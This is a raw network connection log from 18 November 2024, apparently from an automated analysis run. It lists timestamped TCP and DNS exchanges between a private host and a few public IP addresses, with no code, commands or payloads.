Nov 18, 2024 05:57:33.866424084 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.866445065 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.866456032 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.866461039 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.868990898 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.869033098 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.869119883 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.869225979 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.869240999 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.989131927 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.989614964 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.989662886 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:33.990010977 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:33.990024090 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.117697954 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.117825985 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.118110895 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.118110895 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.118110895 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.120548964 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.120613098 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.120692015 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.120816946 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.120835066 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.336296082 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.336318016 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.395140886 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.395803928 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.395853043 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.396105051 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.396115065 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.448997021 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.449477911 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.449497938 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.449963093 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.449973106 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.508188009 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.508661032 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.508699894 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.509136915 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.509150028 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.525758028 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.525823116 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.525885105 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.526150942 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.526150942 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.526186943 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.526210070 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.528702974 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.528747082 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.528844118 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.529000044 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.529014111 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.631719112 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.632250071 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.632271051 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.632675886 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.632680893 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.638015032 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.638053894 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.638113976 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.638194084 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.638194084 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.638325930 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.638325930 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.638349056 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.638362885 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.640804052 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.640880108 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.640976906 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.641103983 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.641134977 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.656224012 CET	60347	53	192.168.2.6	162.159.36.2
Nov 18, 2024 05:57:34.661115885 CET	53	60347	162.159.36.2	192.168.2.6
Nov 18, 2024 05:57:34.661180019 CET	60347	53	192.168.2.6	162.159.36.2
Nov 18, 2024 05:57:34.666167021 CET	53	60347	162.159.36.2	192.168.2.6
Nov 18, 2024 05:57:34.761245966 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.761430979 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.761604071 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.761605024 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.762202024 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.762217999 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.764481068 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.764519930 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.764596939 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.764746904 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.764758110 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.791243076 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.791438103 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.791616917 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.791618109 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.791618109 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.793364048 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.793395042 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.793457985 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.793570042 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.793586969 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.861677885 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.862159014 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.862200975 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.862481117 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.862493992 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.991993904 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.992302895 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.992408037 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.992588997 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.992588997 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.992638111 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.992683887 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.995079994 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.995119095 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:34.995199919 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.995368958 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:34.995379925 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.101778984 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.101810932 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.257401943 CET	60347	53	192.168.2.6	162.159.36.2
Nov 18, 2024 05:57:35.262656927 CET	53	60347	162.159.36.2	192.168.2.6
Nov 18, 2024 05:57:35.262706041 CET	60347	53	192.168.2.6	162.159.36.2
Nov 18, 2024 05:57:35.271066904 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.271503925 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.271533012 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.271893024 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.271899939 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.276134014 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:35.276170015 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:35.276247978 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:35.282376051 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:35.282399893 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:35.357893944 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.358483076 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.358545065 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.358813047 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.358824968 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.402796030 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.402888060 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.402962923 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.403059959 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.403096914 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.403126001 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.403141975 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.405376911 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.405412912 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.405483007 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.405592918 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.405607939 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.484781981 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.484818935 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.484882116 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.484880924 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.484940052 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.485059023 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.485059023 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.485102892 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.485129118 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.487236977 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.487274885 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.487329960 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.487447977 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.487457991 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.510369062 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.510679007 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.510687113 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.511056900 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.511060953 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.532332897 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.532658100 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.532670975 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.532999039 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.533005953 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.642038107 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.642206907 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.642267942 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.642307043 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.642322063 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.642329931 CET	60348	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.642334938 CET	443	60348	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.644714117 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.644766092 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.644834995 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.644937992 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.644948006 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.664675951 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.664809942 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.664865017 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.664885044 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.664895058 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.664908886 CET	60349	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.664915085 CET	443	60349	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.667187929 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.667208910 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.667287111 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.667393923 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.667404890 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.735769987 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.736190081 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.736207008 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.736607075 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.736610889 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.865309000 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.865396023 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.865510941 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.865797997 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.865818977 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.865829945 CET	60350	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.865834951 CET	443	60350	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.868618965 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.868659973 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:35.868729115 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.868850946 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:35.868863106 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.139728069 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.140538931 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.140558004 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.141107082 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.141113043 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.226797104 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.227253914 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.227274895 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.227849007 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.227854013 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.269974947 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.270010948 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.270052910 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.270062923 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.270076036 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.270139933 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.270380020 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.270395041 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.270407915 CET	60352	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.270415068 CET	443	60352	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.277910948 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.277962923 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.278052092 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.278228045 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.278248072 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.358671904 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.358879089 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.358963013 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.359093904 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.359114885 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.359124899 CET	60353	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.359129906 CET	443	60353	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.362343073 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.362380981 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.362488031 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.362728119 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.362741947 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.364255905 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.364655972 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.364670038 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.365032911 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.365037918 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.395042896 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.395162106 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:36.397264004 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:36.397277117 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.397608042 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.399055958 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.399399042 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.399408102 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.399940014 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.399945021 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.404644012 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:36.447407007 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.491369009 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.491446972 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.491513968 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.491847038 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.491863012 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.491874933 CET	60354	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.491879940 CET	443	60354	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.495347977 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.495398998 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.495476961 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.495666027 CET	60359	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.495683908 CET	443	60359	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.526750088 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.526834011 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.526886940 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.527023077 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.527039051 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.527048111 CET	60355	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.527054071 CET	443	60355	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.529683113 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.529722929 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.529786110 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.530059099 CET	60360	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.530071974 CET	443	60360	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.610732079 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.611318111 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.611342907 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.611721039 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.611727953 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.740763903 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.742527008 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.742593050 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.742618084 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.742635012 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.742661953 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.742691040 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.742811918 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.742825031 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.742862940 CET	60356	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.742867947 CET	443	60356	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.742902040 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:36.742924929 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.742933035 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:36.743256092 CET	443	60351	40.69.42.241	192.168.2.6
Nov 18, 2024 05:57:36.743316889 CET	60351	443	192.168.2.6	40.69.42.241
Nov 18, 2024 05:57:36.745942116 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.745980024 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.746076107 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.746186018 CET	60361	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:36.746196985 CET	443	60361	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:36.772640944 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:36.772665977 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:36.772761106 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:36.773150921 CET	60362	443	192.168.2.6	52.149.20.212
Nov 18, 2024 05:57:36.773160934 CET	443	60362	52.149.20.212	192.168.2.6
Nov 18, 2024 05:57:37.019984007 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.020977974 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.021044970 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.021554947 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.021578074 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.111874104 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.112301111 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.112327099 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.112673998 CET	60358	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.112679005 CET	443	60358	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.151581049 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.151668072 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.151746035 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.151910067 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.151961088 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.151993036 CET	60357	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.152009964 CET	443	60357	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.154555082 CET	60363	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:37.154628038 CET	443	60363	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:37.154728889 CET	60363	443	192.168.2.6	13.107.246.45
